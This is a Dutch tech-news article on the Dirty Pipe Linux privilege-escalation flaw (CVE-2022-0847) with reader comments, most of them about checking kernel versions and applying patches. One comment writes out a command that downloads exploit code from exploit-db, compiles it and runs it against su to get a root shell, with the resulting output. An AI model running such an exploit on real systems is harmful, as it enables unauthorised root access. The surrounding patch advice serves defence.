Kritiek lek in Linux-kernel gevonden dat roottoegang mogelijk maakt

Beveilingsonderzoeker Max Kellermann heeft een kritieke Linux-kwetsbaarheid gevonden, waarmee een lokale gebruiker roottoeggang kan krijgen. Er is een update uitgebracht, maar waarschijnlijk draaien nog veel servers oude versies, waardoor ze kwetsbaar zijn.

De kwetsbaarheid wordt aangeduid als CVE-2022-0847 en is openbaar gemaakt door Max Kellerman. In een blog beschrijft hij in detail hoe hij het lek ontdekte en kon misbruiken. Volgens Kellerman hebben alle versies van de Linux-kernel vanaf 5.8 dit probleem. De kwetsbaarheid maakt het voor een lokale gebruiker mogelijk om alleen-lezen-bestanden aan te passen en eigen code toe te voegen.

Een beveiligingsonderzoeker liet op Twitter zien hoe hij deze kwetsbaarheid kon gebruiken om te zorgen dat de rootgebruiker geen wachtwoord meer hoeft in te voeren op een systeem. Op die manier kon roottoegang verkregen worden. Ook Bleeping Computer wist roottoegang te krijgen in Ubuntu via Dirty Pipe.

De kwetsbaarheid is op 20 februari gemeld bij het Linux-kernel- en Android-beveiligingsteam, want ook op Android was deze kwetsbaarheid te misbruiken. De twee beveiligingsteams hebben inmiddels een patch uitgebracht. In de Linux kernels 5.16.11, 5.15.25, en 5.10.102 is deze kwetsbaarheid niet meer aanwezig.

De bijnaam Dirty Pipe voor CVE-2022-0847 komt van een andere Linux-kernel-kwetsbaarheid 'Dirty Cow'. Volgens onderzoekers lijkt Dirty Pipe erg op Dirty Cow, waarmee een aantal jaar terug onderzoekers roottoegang op Android wisten te krijgen. Deze kwetsbaarheid werd veel gebruikt voor malware, wat met Dirt Pipe opnieuw een risico vormt.

Door Robert Zomers

Redacteur

08-03-2022 • 19:00

58

Submitter: Transistortje

Reacties (58)

Sorteer op:

Weergave:

Voor Debian gebruikers: https://security-tracker.debian.org/tracker/CVE-2022-0847
De lek treft alleen de laatste Debian versie 12 (bullseye) en inmiddels is er ook een patch beschikbaar.

Om je omgeving weer bij te werken naar de laatste versie:
apt-get update && apt-get dist-upgrade

[Reactie gewijzigd door Xieoxer op 22 juli 2024 14:44]

Klopt, net geupdate ...

bullseye (security) 5.10.92-2 fixed

uname -v :

#1 SMP Debian 5.10.92-2 (2022-02-28)

[Reactie gewijzigd door TheToolGuy op 22 juli 2024 14:44]

Alleen de security versie!
Niet de normale bullseye versie
Calculating upgrade... Done
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
$ uname -v
#1 SMP Debian 5.10.92-1 (2022-01-18)
Bullseye is versie 11
Met "uname -r" is de kernelversie te controleren via de commandprompt.
uname -v geeft betere info ...

In mijn geval:
#1 SMP Debian 5.10.92-2 (2022-02-28)

Usage: uname [OPTION]...
Print certain system information. With no OPTION, same as -s.
-a, --all print all information, in the following order,
except omit -p and -i if unknown:
-s, --kernel-name print the kernel name
-n, --nodename print the network node hostname
-r, --kernel-release print the kernel release
-v, --kernel-version print the kernel version
-m, --machine print the machine hardware name
-p, --processor print the processor type (non-portable)
-i, --hardware-platform print the hardware platform (non-portable)
-o, --operating-system print the operating system
--help display this help and exit
--version output version information and exit

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Full documentation <https://www.gnu.org/software/coreutils/uname>
or available locally via: info '(coreutils) uname invocation'

[Reactie gewijzigd door TheToolGuy op 22 juli 2024 14:44]

Dat is afhankelijk van je distro, op Ubuntu is het andersom.
In mijn geval (Ubuntu 20.04.4):
uname -v
#101-Ubuntu SMP Fri Oct 15 20:00:55 UTC 2021
uname -r
5.4.0-90-generic
Ik zit op 5.13.0-30-generic in Ubuntu 20.04.4 LTS. Hoe upgrade ik dit? apt-get update en upgrade gaf geen nieuwe kernel.
zoveelste edit: Ubuntu heeft nu n fix en mn post werd n zootje, dus herschrijf ik maar deels:

Mja het is n beetje ingewikkeld, maar "5.13.0-30-generic" is niet de volledige versie van de kernel, maar hoort bij de naam van het pakket, "linux-image-5.13.0-30-generic".
Dat pakket met die naam, heeft n versie, de nieuwste is volgens hier: 5.13.0-30.33~20.04.1.

Maar je kan beter kijken naar welke versie gefixt is, hier staat 5.13.0-35.40~20.04.1.
Om te kijken welke jij hebt geinstalleerd kan je bijvoorbeeld doen:
dpkg -l 'linux-image-5*'|grep ^.i
Dan zou je dus minstens versie 5.13.0-35.40~20.04.1 moeten hebben.
(en pakketnaam met die versie is niet -30- maar linux-image-5.13.0-35-generic).

Voor Debian stable: Hier staat dat het gefixt is in 5.10.92-2, en de bijbehorende pakketnaam (long story) is linux-image-5.10.0-11-amd64.
NB hierbij is het van belang om de volledige versie te bekijken, want er is ook een linux-image-5.10.0-11-amd64 (zelfde pakketnaam) met versie 5.10.92-1 die wel kwetsbaar is.
Hmm, nou zit ik op de Debian site rond te neuzen, maar sommige info (over oa de kernel die ik nu toch echt daadwerkelijk draai) is onvindbaar, dat is mss nog een restant van het embargo? Maar ikzelf had iig de goeie al vanzelf gekregen.

(@Roel911, niet helemaal dus :))

[Reactie gewijzigd door N8w8 op 22 juli 2024 14:44]

De Mainline tool is wat ik gebruik, vet handig en werkt uitstekend.
Het enige wat je moet doen is controleren of al je applicaties de nieuwe kernel ondersteunen.
https://github.com/bkw777/mainline
Hmm, een privilege escalation dus. Ernstig maar niet het einde van de wereld zoals Shellshock bijv. wel was (remote exploiteerbaar).
Bor Coördinator Frontpage Admins / FP Powermod @GekkePrutser8 maart 2022 19:28
Local privilege escalation zo te zien. Niet via het netwerk te misbruiken maar nog steeds ernstig.

[Reactie gewijzigd door Bor op 22 juli 2024 14:44]

ach, toch maar even al m'n linux hosts en guests geupdate. :+
En dat heeft allen zin als de update de benodigde kernel patch heeft. Voor Arch/Manjaro is die iig nog niet gepushed.
Vergeet de reboot niet ;-)
De payload naar keuze voor die ene stagiere die zeer te spreken is over die `512GB USB 3.1 RGB` fancy USB stick die hij voor z'n deur vind rond de lunch terwijl hij werkt vanuit huis.

repackage die Nvidia driver update met de geleakte nvidia keys, verlopen yes... nog steeds dood-leuk accepted Windows en voila, wacht op die openvpn/pulse/paralel kabel van 50km met versterkers en poof.

<que MI-Theme song>


Jokes aside, remote is al heel snel lokaal,
Tja, als een service open naar het internet onder normale gebruiker draait (Mag ik hopen) en word op een of andere manier gehackt dan heb je alsnog een lokale gebruiker die root rechten zou kunnen bemachtigen.
Dat is waar maar het vereist dus een andere hack om er misbruik van te maken. Dus op zich heb je wel tijd genoeg om te updaten.
Je hebt waarschijnlijk wel gelijk, maar langs de andere kant bestaan de meeste attacks uit het misbruiken van meerdere kwetsbaarheden. 'tijd genoeg om te patchen' betekent niet dat het niet dringend is...
Denk aan stepping stones servers, even blatant ruig voorbeeld hier beneden...
En tuurlijk heb je geen compilers op een jump server, niet nodig. En uiteraard maak je gebruik van de noexec, nosuid etc regels op /tmp, maar dat maakt in dit geval niks uit. (Read the notes)


$ (curl -so 50808.c https://www.exploit-db.com/download/50808 && gcc -o 50808 50808.c)
$ ./50808 `which su`

user@rigel:~$ ./50808 `which su`
[+] hijacking suid binary..
[+] dropping suid shell..
[+] restoring suid binary..
[+] popping root shell.. (dont forget to clean up /tmp/sh ;))
#

SELinux is your friend.
Inderdaad, schrok in eerste instantie een beetje van de headline.

Als je toegang weet te krijgen mag je van mij root zijn vandaag. Morgen patchen.
Nou voor shared hosts me standaard ssh toegang is dit echt wel een issue hoor! Pittige bug!
Dat is waar, daar is het zeker wel een groot probleem voor.

Maar komt dat nog veel voor? Vroeger kon je bijvoorbeeld nog een shell account krijgen bij XS4ALL. Maar nu niet meer denk ik?

Ik weet wel dat je bijvoorbeeld nog http://tilde.town/ hebt maar dit soort services zullen er wel bovenop zitten.
Maar komt dat nog veel voor? Vroeger kon je bijvoorbeeld nog een shell account krijgen bij XS4ALL. Maar nu niet meer denk ik?
Eerste wat in mijn opkomt is als je een webserver hebt bij Antagonist. Daar kun je ook SSH keys aanmaken om in te loggen op de gedeelde nodes.
Ja, bij standaard DirectAdmin shared hosts is het ook een optie...
Daarom gebruik je containers niet als sandbox, er is elke maand of twee een local root exploit.
You have mail !

Greetings !
This is Prince el-fourat the 5th speaking .... :D
...
Ben de enige gebruiker op mijn servers, dus het zal wel loslopen voor mij. Maar voor servers op het werk waarop users werken zou het wel een dingetje kunnen gaan worden in de toekomst als ICT niet snel bij patched.
Klinkt logisch, maar er zitten al snel 30 system users en die zijn er zodat applicaties met een gelimiteerde system user draaien, die kan dus nu alsnog root worden. Een attacker heeft dan nog wel een methode nodig om een pipe te kunnen triggeren, maar dat kan met andere vulnerabilities. Het is dus zaak om braaf patches te blijven installeren en het hoofd koel te houden
Snap ik, maar de servers die ik draai zijn zo bare metal dat de services onder controle gehouden kunnen worden. Maar als de patch er is, dan kom maar op :)
Normaal heb je patch windows om de 2 of 4 weken. Deze zijn ok'ed door het CAB team.

Er zijn uitzonderingen denkbaar bij servers die altijd up 2 date moeten zijn, das prima... maar dan moeten ze wel clusterd / redundant zijn. (Beide dus.) Zodat je altijd via de workflow at hand de boel veilig kan updaten zonder outage issues die zijn ontstaan door de 'upgrades` zodat er zonder stress gewoon een rollback gedaan kan worden.

Ja maar, dat kost vele malen meer.....
Inderdaad.
En hoe zit dan nu eigenlijk met Android? Is daar dan ook een patch nodig op het kernel? En moet die dan door de telefoonleverancier geleverd worden? (als je geen custom kernel draait)
En hoe zit het met users die door software gebruikt worden? Heb je die ook op Android? Kunnen die ook hogere rechten krijgen?

Of zijn dit niet de juiste vragen?
Android draait nog op Linux kernel 4 dus dat is niet echt een probleem aangezien dit lek pas vanaf 5.8 is
Ja, inderdaad, zie ook 4.9 hier staan. Dus dan lijkt het artikel niet helemaal juist.

edit: Wankel geeft in reactie aan dat er dus wel nieuwe toestellen al zijn met Kernel > 5.8. Dus artikel is toch juist. Dus voor sommige toestellen betekent dit een update.

[Reactie gewijzigd door Tout op 22 juli 2024 14:44]

En hoe zit dan nu eigenlijk met Android? Is daar dan ook een patch nodig op het kernel?
Het hangt er van af welke kernel er met die Android meekomt/geinstalleerd is. Arstechnica gaat er een klein stukje op in,
The latest version of Android for the Pixel 6 and the Samsung Galaxy S22, for instance, is 5.10.43, meaning the devices are vulnerable. A Pixel 4 on Android 12, meanwhile, runs 4.14, which is unaffected. Android users can check which kernel version their device uses by going to Settings > About phone > Android version.
Als je de blog leest (https://dirtypipe.cm4all.com/) dan zie je dat google de patch voor android al heeft opgenomen. Zoals gebruikelijk is dat voor nieuwe ontwikkelingen. Het is aan de toestel leveranciers of/hoe ze deze patch back-porten voor hun systemen.

Voor android is er een ander detail: Daar worden accounts en gebruikers iets anders gebruikt. En ook de applicaties moeten er maar net bij kunnen. Als je onder android netjes binnen de lijntjes kleurt en alleen applicaties uit de play-store installeert dan heb je weinig of niets te vrezen.

Als je het verhaal hier boven goed leest, moet je al op het systeem zijn in gelogd om het te gebruiken. Dat kan/mag je ook andersom uitleggen: De gebruiker kan hier goed gebruik van maken om op het toestel meer rechten te krijgen. Het kan bijvoorbeeld een handvat zijn/worden om het toestel te rooten. En dat natuurlijk op alle andere systemen die de linux kernel gebruiken.
Mmm, na een update van de rpi4 zit die nog steeds op kernel 5.10.94
sudo rpi-update deed het voor mij.
Denk dat ik te vroeg ben geweest :) Gisteren om 2100h was die update er nog niet
Ligt het aan mij of wordt kernel 5.8 (gelukkig) nog bijna niet gebruikt?
Nog? We zitten inmiddels op 5.16 bijna 5.17?
Wat @marco208 bedoelt is dat de grotere distributies mogelijk nog niet op een versie 5.8 of hoger zitten. Ik gebruik zelf bijvoorbeeld veel Ubuntu 20.04 LTS, en die zit ook nog op 5.4.
De huidige stable / LTS versie van Debian gebruikt Linux 5.10.

Debian 11.2 (Bullseye) zat op 5.10.83-rt58. Geen idee wat het huidige patch niveau is. Maar hiervoor gaat men dus een patch nodig hebben als ik goed lees dat de patch in kernel 5.10.102 zit.

bron:
https://www.debian.org/News/2021/20211218
Laatst kwam ik erachter dat ik op Debian nog echt op 5.6 ofzo draaide, ik was vergeten dat je af en toe zelf nieuwe kernels moet installeren.

Nu ik erover nadenk, dan zal mijn server vast ook nog wel op zoiets draaien, dus is de exploit geen probleem voor mij.
Nog geen patch helaas voor Debian 11.2 :(
Ik zit erop te wachten om mijn servers bij te werken.

https://security-tracker.debian.org/tracker/CVE-2022-0847

[Reactie gewijzigd door hackerhater op 22 juli 2024 14:44]

Zit Ubuntu 20.04 LTS inmiddels niet al op 5.13?
Zo te zien wel als keuze, met alle Ubuntu's die ik heb draaien is er default 5.4 geinstalleerd en daarin wordt geupgrade
Heb recent nog veel moeite moeten doen om een installatie te downgraden naar deze kernel omdat Matrox Image Library geen andere kernels support :+
Matrox doet soms zo moeilijk.
Uitleg van de ontdekker: https://dirtypipe.cm4all.com/

Deze mist in het artikel, kan gevonden worden in de twitter feed.

EDIT: nu staat die link wel in het artikel.
Ben ik nou blind of is het artikel iets aangepast?

[Reactie gewijzigd door Verwijderd op 22 juli 2024 14:44]

Hij stond er in dit geval echt al in! Anders laat ik het altijd even weten als ik een suggestie overneem :)
Dat bevestigd het: ik ben blind... :/
(Of gewoon moe :)
Het woordje 'blog' is wat klein en ik moest het ook even terug zoeken om de link weer terug te vinden.

Overigens wel een mooi leesbaar verhaal inclusief leesbare code en zo.
Vooral uit nieuwsgierigheid toch even gekeken, openSUSE tumbleweed, Kinfo center.

Linux 5.16.11-1-default (64bit)

Dat gaat snel met een rolling release.

[Reactie gewijzigd door Gps4l op 22 juli 2024 14:44]

Op dit item kan niet meer gereageerd worden.